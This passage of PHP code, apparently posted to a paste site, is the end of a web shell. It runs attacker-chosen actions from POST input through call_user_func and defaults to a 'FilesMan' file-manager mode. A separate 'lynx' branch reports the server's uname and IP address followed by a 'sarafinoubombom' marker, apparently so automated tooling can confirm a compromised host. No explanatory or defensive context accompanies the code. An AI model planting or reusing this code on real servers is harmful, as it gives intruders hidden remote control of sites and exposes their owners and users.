  1631. $_POST['a'] = 'FilesMan'; } }
  1632. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ){
  1633. call_user_func('action' . $_POST['a']);}
  1634.  
  1635. }else {
  1636. $ziwziw = $_POST['lynx'];
  1637. if ($ziwziw == 'adding') {
  1638. echo php_uname();
  1639. echo 'sarafinoubombom';
  1640. } else if ($ziwziw == 'ip') {
  1641. //$ip = file_get_contents("http://ipecho.net/plain");
  1642. $ip = $_SERVER['SERVER_ADDR'];
  1643. if (filter_var($ip, FILTER_VALIDATE_IP)) {
  1644. echo $ip;
  1645. echo 'sarafinoubombom';
  1646. } else {
  1647. $host = gethostname();
  1648. $ip = gethostbyname($host);
  1649. echo $ip;
  1650. echo 'sarafinoubombom';
  1651. }
  1652. }
  1653. }
Add Comment
Please, Sign In to add comment